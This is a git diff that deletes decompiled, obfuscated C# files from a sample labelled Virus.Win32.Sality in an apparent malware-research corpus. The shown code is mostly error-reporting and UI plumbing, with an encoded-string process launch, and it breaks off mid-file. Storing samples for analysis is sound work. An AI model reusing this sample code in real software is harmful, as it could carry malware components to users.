--- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/_0003.cs +++ /dev/null @@ -1,45 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0003; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0004 -{ - internal sealed class \u0003 : EventArgs - { - private \u0002 \u0001; - private bool \u0001; - private string \u0001 = string.Empty; - private string \u0002 = string.Empty; - - [SpecialName] - public \u0002 \u0003() => this.\u0001; - - [SpecialName] - public bool \u0003() => this.\u0001; - - [SpecialName] - public string \u0003() => this.\u0001; - - [SpecialName] - public void \u0003([In] string obj0) => this.\u0002 = obj0; - - internal \u0003([In] \u0002 obj0) - : this(obj0, string.Empty) - { - } - - internal \u0003([In] \u0002 obj0, [In] string obj1) - { - this.\u0001 = obj0; - this.\u0001 = obj1 != null && \u008A\u0005.\u007E\u0084\u0003((object) obj1) > 0; - this.\u0001 = obj1; - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/_0004.cs deleted file mode 100644 index 0038feaa..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/_0004.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security; - -namespace \u0004 -{ - internal sealed class \u0004 : EventArgs - { - private SecurityException \u0001; - private string \u0001 = string.Empty; - private bool \u0001; - private bool \u0002; - private bool \u0003 = true; - - [SpecialName] - public SecurityException \u0003() => this.\u0001; - - [SpecialName] - public string \u0003() => this.\u0001; - - [SpecialName] - public bool \u0003() => this.\u0003; - - [SpecialName] - public bool \u0004() => this.\u0001; - - [SpecialName] - public void \u0003([In] bool obj0) => this.\u0001 = obj0; - - [SpecialName] - public bool \u0005() => this.\u0002; - - public \u0004([In] SecurityException obj0) => this.\u0001 = obj0; - - public \u0004([In] SecurityException obj0, [In] bool obj1) - : this(obj0) - { - this.\u0003 = obj1; - } - - public \u0004([In] string obj0, [In] bool obj1) - : this(new SecurityException(obj0), obj1) - { - this.\u0001 = obj0; - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/_0005.cs deleted file mode 100644 index 8533eb55..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/_0005.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0004 -{ - internal sealed class \u0005 : EventArgs - { - private Exception \u0001; - - [SpecialName] - public Exception \u0003() => this.\u0001; - - internal \u0005([In] Exception obj0) => this.\u0001 = obj0; - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/_0006.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/_0006.cs deleted file mode 100644 index 72e03ba7..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/_0006.cs +++ /dev/null @@ -1,63 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0001; -using \u0004; -using SmartAssembly.SmartExceptionsCore; -using System; -using System.Net; -using System.Runtime.InteropServices; - -namespace \u0004 -{ - internal sealed class \u0006 - { - [NonSerialized] - internal static \u0002 \u0001; - private string \u0001; - private string \u0002 = string.Empty; - private IWebProxy \u0001; - - public void \u0003([In] IWebProxy obj0) => this.\u0001 = obj0; - - public string \u0003() - { - try - { - UploadReportLoginService reportLoginService = new UploadReportLoginService(); - if (this.\u0001 != null) - \u000F\u0005.\u007E\u0006((object) reportLoginService, this.\u0001); - this.\u0002 = reportLoginService.GetServerURL(this.\u0001); - if (\u008A\u0005.\u007E\u0084\u0003((object) this.\u0002) == 0) - throw new ApplicationException(\u0006.\u0001(3164)); - return \u0087\u0003.\u007E\u008D\u0003((object) this.\u0002, \u0006.\u0001(2736)) ? this.\u0002 : \u0006.\u0001(2731); - } - catch (Exception ex) - { - return \u0010\u0003.\u0095\u0003(\u0006.\u0001(3205), \u0003\u0006.\u007E\u0001\u0004((object) ex)); - } - } - - public string \u0003([In] byte[] obj0) - { - try - { - ReportingService reportingService = new ReportingService(this.\u0002); - if (this.\u0001 != null) - \u000F\u0005.\u007E\u0006((object) reportingService, this.\u0001); - return reportingService.UploadReport2(this.\u0001, obj0); - } - catch (Exception ex) - { - return \u0010\u0003.\u0095\u0003(\u0006.\u0001(3222), \u0003\u0006.\u007E\u0001\u0004((object) ex)); - } - } - - public \u0006([In] string obj0) => this.\u0001 = obj0; - - static \u0006() => \u0003.\u0003(); - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004_0003.cs deleted file mode 100644 index 6ae8eb78..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate byte[] \u0004\u0003([In] object obj0, [In] byte[] obj1, [In] bool obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004_0004.cs deleted file mode 100644 index 2efb5daa..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0004\u0004([In] object obj0, [In] int obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004_0005.cs deleted file mode 100644 index f3daa7e4..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate int \u0004\u0005([In] object obj0, [In] char obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004_0006.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004_0006.cs deleted file mode 100644 index 8c1d06c3..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004_0006.cs +++ /dev/null @@ -1,11 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Drawing; -using System.Runtime.InteropServices; - -internal delegate Icon \u0004\u0006([In] IntPtr obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/Token200012E.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/Token200012E.cs deleted file mode 100644 index b08a0462..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/Token200012E.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .Token200012E -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -namespace \u0005 -{ - internal class Token200012E : \u0024Unresolved\u0024Token\u003A2003FFF - { - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/_0001.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/_0001.cs deleted file mode 100644 index e1255d3f..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/_0001.cs +++ /dev/null @@ -1,133 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0001; -using \u0005; -using System; -using System.Drawing; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u0005 -{ - internal sealed class \u0001 : Control - { - [NonSerialized] - internal static \u0002 \u0001; - private Label \u0001 = new Label(); - private Image \u0001; - private bool \u0001; - private Timer \u0001 = new Timer(); - private bool \u0002 = true; - private string \u0001 = string.Empty; - private float \u0001 = 1f; - private float \u0002 = 1f; - - [SpecialName] - public override string get_Text() => \u0003\u0006.\u0098((object) this); - - [SpecialName] - public override void set_Text([In] string obj0) - { - \u0096\u0004.\u0099((object) this, obj0); - \u0087\u0005.\u007E\u0008\u0002((object) this); - } - - public void \u0003() - { - \u000E\u0003.\u007E\u0099\u0002((object) this.\u0001, false); - this.\u0001 = (Image) null; - this.\u0001 = false; - this.\u0001 = string.Empty; - \u0087\u0005.\u007E\u0008\u0002((object) this); - \u0004\u0004.\u008F((object) this, 16); - } - - public void \u0004() - { - \u000E\u0003.\u007E\u0099\u0002((object) this.\u0001, true); - this.\u0001 = (Image) \u0006.\u0003(\u0005.\u0001.\u0001(3243)); - this.\u0001 = true; - \u0087\u0005.\u007E\u0008\u0002((object) this); - } - - public void \u0005() => this.\u0003(string.Empty); - - public void \u0003([In] string obj0) - { - this.\u0001 = obj0; - \u000E\u0003.\u007E\u0099\u0002((object) this.\u0001, false); - this.\u0001 = (Image) \u0006.\u0003(\u008A\u0005.\u007E\u0084\u0003((object) obj0) > 0 ? \u0005.\u0001.\u0001(3261) : \u0005.\u0001.\u0001(3256)); - this.\u0002 = true; - this.\u0001 = true; - if (\u008A\u0005.\u007E\u0084\u0003((object) obj0) > 0) - \u0004\u0004.\u008F((object) this, 100); - \u0087\u0005.\u007E\u0008\u0002((object) this); - } - - protected override void OnResize([In] EventArgs obj0) - { - \u0082\u0004.\u007E\u0010\u0002((object) this.\u0001, \u008E\u0005.\u008A\u0004(22f * this.\u0001), \u008E\u0005.\u008A\u0004(this.\u0002), \u008A\u0005.\u009C((object) this) - \u008E\u0005.\u008A\u0004(22f * this.\u0001), \u008A\u0005.\u008E((object) this) - \u008E\u0005.\u008A\u0004(this.\u0002)); - \u0094\u0005.\u0007\u0002((object) this, obj0); - } - - protected override void ScaleCore([In] float obj0, [In] float obj1) - { - this.\u0001 = obj0; - this.\u0002 = obj1; - \u0013\u0004.\u000F\u0002((object) this, obj0, obj1); - \u0094\u0005.\u007E\u0007\u0002((object) this, EventArgs.Empty); - } - - protected override void OnPaint([In] PaintEventArgs obj0) - { - \u0088\u0005.\u0006\u0002((object) this, obj0); - if (\u009E\u0005.\u0017\u0008((object) this)) - { - this.\u0001 = (Image) \u0006.\u0003(\u0005.\u0001.\u0001(3243)); - this.\u0001 = true; - } - if (this.\u0001 != null && this.\u0002) - \u0097\u0003.\u007E\u008F\u0008((object) \u0099\u0002.\u007E\u0015\u0002((object) obj0), this.\u0001, new Rectangle(0, 0, \u008E\u0005.\u008A\u0004(16f * this.\u0001), \u008E\u0005.\u008A\u0004(16f * this.\u0002)), new Rectangle(0, 0, 16, 16), GraphicsUnit.Pixel); - if (this.\u0001) - \u0096\u0004.\u007E\u0099((object) this.\u0001, \u008A\u0005.\u007E\u0084\u0003((object) this.\u0001) > 0 ? \u009B\u0004.\u0097\u0003(\u0003\u0006.\u0098((object) this), \u0005.\u0001.\u0001(3270), this.\u0001, \u0005.\u0001.\u0001(3275)) : \u0003\u0006.\u0098((object) this)); - else - \u0096\u0004.\u007E\u0099((object) this.\u0001, string.Empty); - } - - public \u0001() - { - \u0004\u0004.\u007E\u009A\u0002((object) this.\u0001, 250); - \u001F\u0005.\u007E\u0098\u0002((object) this.\u0001, new EventHandler(this.\u0003)); - \u0095\u0003.\u007E\u008E\u0002((object) this.\u0001, FlatStyle.System); - \u001C\u0003.\u007E\u0013\u0002((object) \u0093\u0003.\u0087((object) this), (Control) this.\u0001); - \u008D\u0003.\u0011\u0002((object) this, ControlStyles.UserPaint | ControlStyles.ResizeRedraw | ControlStyles.SupportsTransparentBackColor | ControlStyles.AllPaintingInWmPaint | ControlStyles.DoubleBuffer, true); - \u000E\u0003.\u0097((object) this, false); - } - - public \u0001([In] string obj0) - : this() - { - \u0096\u0004.\u0099((object) this, \u0010\u0003.\u0095\u0003(\u0005.\u0001.\u0001(3280), obj0)); - } - - protected override void Dispose([In] bool obj0) - { - if (obj0 && this.\u0001 != null) - \u0087\u0005.\u007E\u0088\u0008((object) this.\u0001); - \u000E\u0003.\u0001\u0002((object) this, obj0); - } - - private void \u0003([In] object obj0, [In] EventArgs obj1) - { - this.\u0002 = !this.\u0002; - \u0087\u0005.\u007E\u0008\u0002((object) this); - } - - static \u0001() => \u0003.\u0003(); - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/_0002.cs deleted file mode 100644 index 26bcc52d..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/_0002.cs +++ /dev/null @@ -1,62 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0003; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0005 -{ - internal sealed class \u0002 : EventArgs - { - private \u0006 \u0001; - private Exception \u0001; - private bool \u0001; - private bool \u0002 = true; - private bool \u0003 = true; - private bool \u0004; - - [SpecialName] - public Exception \u0003() => this.\u0001; - - [SpecialName] - public bool \u0003() => this.\u0001; - - [SpecialName] - public bool \u0004() => this.\u0002; - - [SpecialName] - public bool \u0005() => this.\u0003; - - internal void \u0003() => this.\u0001 = true; - - internal void \u0004() => this.\u0002 = false; - - internal void \u0005() => this.\u0003 = false; - - [SpecialName] - public bool \u0006() => this.\u0004; - - [SpecialName] - public void \u0003([In] bool obj0) => this.\u0004 = obj0; - - public void \u0006() - { - if (!this.\u0001) - return; - this.\u0001.\u0003(); - } - - public bool \u0007() => this.\u0002 && this.\u0001.\u0003(); - - internal \u0002([In] \u0006 obj0, [In] Exception obj1) - { - this.\u0001 = obj0; - this.\u0001 = obj1; - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/_0003.cs deleted file mode 100644 index a2ca6bf1..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/_0003.cs +++ /dev/null @@ -1,146 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0001; -using \u0005; -using System; -using System.Drawing; -using System.Runtime.InteropServices; - -namespace \u0005 -{ - internal sealed class \u0003 - { - [NonSerialized] - internal static \u0002 \u0001; - - [DllImport("shell32", EntryPoint = "ExtractIconEx")] - private static extern int \u0003([In] string obj0, [In] int obj1, [In] ref int obj2, [In] ref int obj3, [In] int obj4); - - [DllImport("user32", EntryPoint = "DrawText", CharSet = CharSet.Unicode)] - private static extern int \u0003( - [In] IntPtr obj0, - [In] string obj1, - [In] int obj2, - [In] ref \u0003.\u0001 obj3, - [In] int obj4); - - [DllImport("gdi32.dll", EntryPoint = "SelectObject")] - private static extern IntPtr \u0003([In] IntPtr obj0, [In] IntPtr obj1); - - [DllImport("kernel32.Dll", EntryPoint = "GetVersionEx")] - private static extern short \u0003([In] ref \u0003.\u0002 obj0); - - public static Icon \u0003() - { - try - { - return \u0003.\u0004(); - } - catch (Exception ex) - { - return \u0006.\u0003(\u0003.\u0001(3300)); - } - } - - private static Icon \u0004() - { - int num1 = 0; - int num2 = 0; - if (\u0003.\u0003(\u009E\u0003.\u001D(), -1, ref num2, ref num2, 1) > 0) - { - \u0003.\u0003(\u009E\u0003.\u001D(), 0, ref num1, ref num2, 1); - if (num1 != 0) - return \u0004\u0006.\u0094\u0008(new IntPtr(num1)); - } - return (Icon) null; - } - - internal static string \u0003() - { - try - { - return \u0003.\u0004(); - } - catch (Exception ex) - { - return string.Empty; - } - } - - private static string \u0004() - { - \u0003.\u0002 obj = new \u0003.\u0002(); - // ISSUE: type reference - obj.\u0001 = \u001D\u0003.\u0012\u0007(\u0084\u0003.\u0012\u0005(__typeref (\u0003.\u0002))); - int num = (int) \u0003.\u0003(ref obj); - return obj.\u0001; - } - - internal static int \u0003([In] Graphics obj0, [In] string obj1, [In] Font obj2, [In] int obj3) - { - try - { - return \u0003.\u0005(obj0, obj1, obj2, obj3); - } - catch (Exception ex1) - { - try - { - return \u001B\u0005.\u008B\u0004((double) \u0003.\u0004(obj0, obj1, obj2, obj3) * 1.1); - } - catch (Exception ex2) - { - } - } - return 0; - } - - private static int \u0004([In] Graphics obj0, [In] string obj1, [In] Font obj2, [In] int obj3) => \u0087\u0004.\u009E\u0008(\u0094\u0004.\u007E\u008D\u0008((object) obj0, obj1, obj2, obj3)).Height; - - private static int \u0005([In] Graphics obj0, [In] string obj1, [In] Font obj2, [In] int obj3) - { - \u0003.\u0001 obj = new \u0003.\u0001(new Rectangle(0, 0, obj3, 10000)); - int num1 = 3088; - IntPtr num2 = \u007F\u0005.\u007E\u008A\u0008((object) obj0); - IntPtr num3 = \u007F\u0005.\u007E\u0005\u000E((object) obj2); - IntPtr num4 = \u0003.\u0003(num2, num3); - \u0003.\u0003(num2, obj1, -1, ref obj, num1); - \u0003.\u0003(num2, num4); - \u008F\u0005.\u007E\u008B\u0008((object) obj0, num2); - return obj.\u0004 - obj.\u0002; - } - - static \u0003() => \u0003.\u0003(); - - private struct \u0001 - { - public int \u0001; - public int \u0002; - public int \u0003; - public int \u0004; - - public \u0001([In] Rectangle obj0) - { - this.\u0001 = obj0.Left; - this.\u0002 = obj0.Top; - this.\u0004 = obj0.Bottom; - this.\u0003 = obj0.Right; - } - } - - private struct \u0002 - { - public int \u0001; - public int \u0002; - public int \u0003; - public int \u0004; - public int \u0005; - [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] - public string \u0001; - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/_0004.cs deleted file mode 100644 index 8112f50d..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/_0004.cs +++ /dev/null @@ -1,107 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0001; -using \u0005; -using System; -using System.Diagnostics; -using System.Drawing; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u0005 -{ - internal sealed class \u0004 : Control - { - [NonSerialized] - internal static \u0002 \u0001; - private Label \u0001 = new Label(); - private PictureBox \u0001 = new PictureBox(); - private ToolTip \u0001 = new ToolTip(); - private float \u0001 = 1f; - private float \u0002 = 1f; - - protected override void OnResize([In] EventArgs obj0) - { - \u009C\u0002.\u0095((object) this, new Size(\u008E\u0005.\u008A\u0004(120f * this.\u0001), \u008E\u0005.\u008A\u0004(32f * this.\u0002))); - \u0094\u0005.\u0007\u0002((object) this, obj0); - } - - protected override void ScaleCore([In] float obj0, [In] float obj1) - { - this.\u0001 = obj0; - this.\u0002 = obj1; - \u0013\u0004.\u000F\u0002((object) this, obj0, obj1); - \u0094\u0005.\u007E\u0007\u0002((object) this, EventArgs.Empty); - } - - protected override void Dispose([In] bool obj0) - { - if (obj0) - goto label_5; -label_4: - \u000E\u0003.\u0001\u0002((object) this, obj0); - return; -label_5: - if (this.\u0001 != null) - \u0087\u0005.\u007E\u0016\u0008((object) this.\u0001); - if (this.\u0001 != null) - { - \u0087\u0005.\u007E\u0016\u0008((object) this.\u0001); - goto label_4; - } - else - goto label_4; - } - - private void \u0003([In] object obj0, [In] EventArgs obj1) - { - try - { - this.\u0003(); - } - catch - { - } - } - - private void \u0003() - { - Process process = \u0080\u0005.\u0080\u0008(\u0004.\u0001(3324)); - } - - public \u0004() - { - \u0087\u0005.\u0012\u0002((object) this); - \u0095\u0003.\u007E\u008E\u0002((object) this.\u0001, FlatStyle.System); - \u0098\u0002.\u007E\u0092((object) this.\u0001, new Point(10, 10)); - \u009C\u0002.\u007E\u0095((object) this.\u0001, new Size(62, 24)); - \u0096\u0004.\u007E\u0099((object) this.\u0001, \u0004.\u0001(3393)); - \u0092\u0004.\u007E\u0095\u0002((object) this.\u0001, (Image) \u0006.\u0003(\u0004.\u0001(3410))); - \u0098\u0002.\u007E\u0092((object) this.\u0001, new Point(72, 0)); - \u009C\u0002.\u007E\u0095((object) this.\u0001, new Size(48, 32)); - \u0018\u0004.\u007E\u0096\u0002((object) this.\u0001, PictureBoxSizeMode.StretchImage); - \u001F\u0005.\u007E\u009D((object) this.\u0001, new EventHandler(this.\u0003)); - \u001F\u0005.\u007E\u009D((object) this.\u0001, new EventHandler(this.\u0003)); - \u001F\u0005.\u009D((object) this, new EventHandler(this.\u0003)); - \u0092\u0005.\u007E\u0088((object) this, \u0006\u0003.\u001B\u0002()); - \u000E\u0003.\u0097((object) this, false); - \u009C\u0002.\u0095((object) this, new Size(120, 32)); - \u0019\u0003.\u007E\u0014\u0002((object) \u0093\u0003.\u0087((object) this), new Control[2] - { - (Control) this.\u0001, 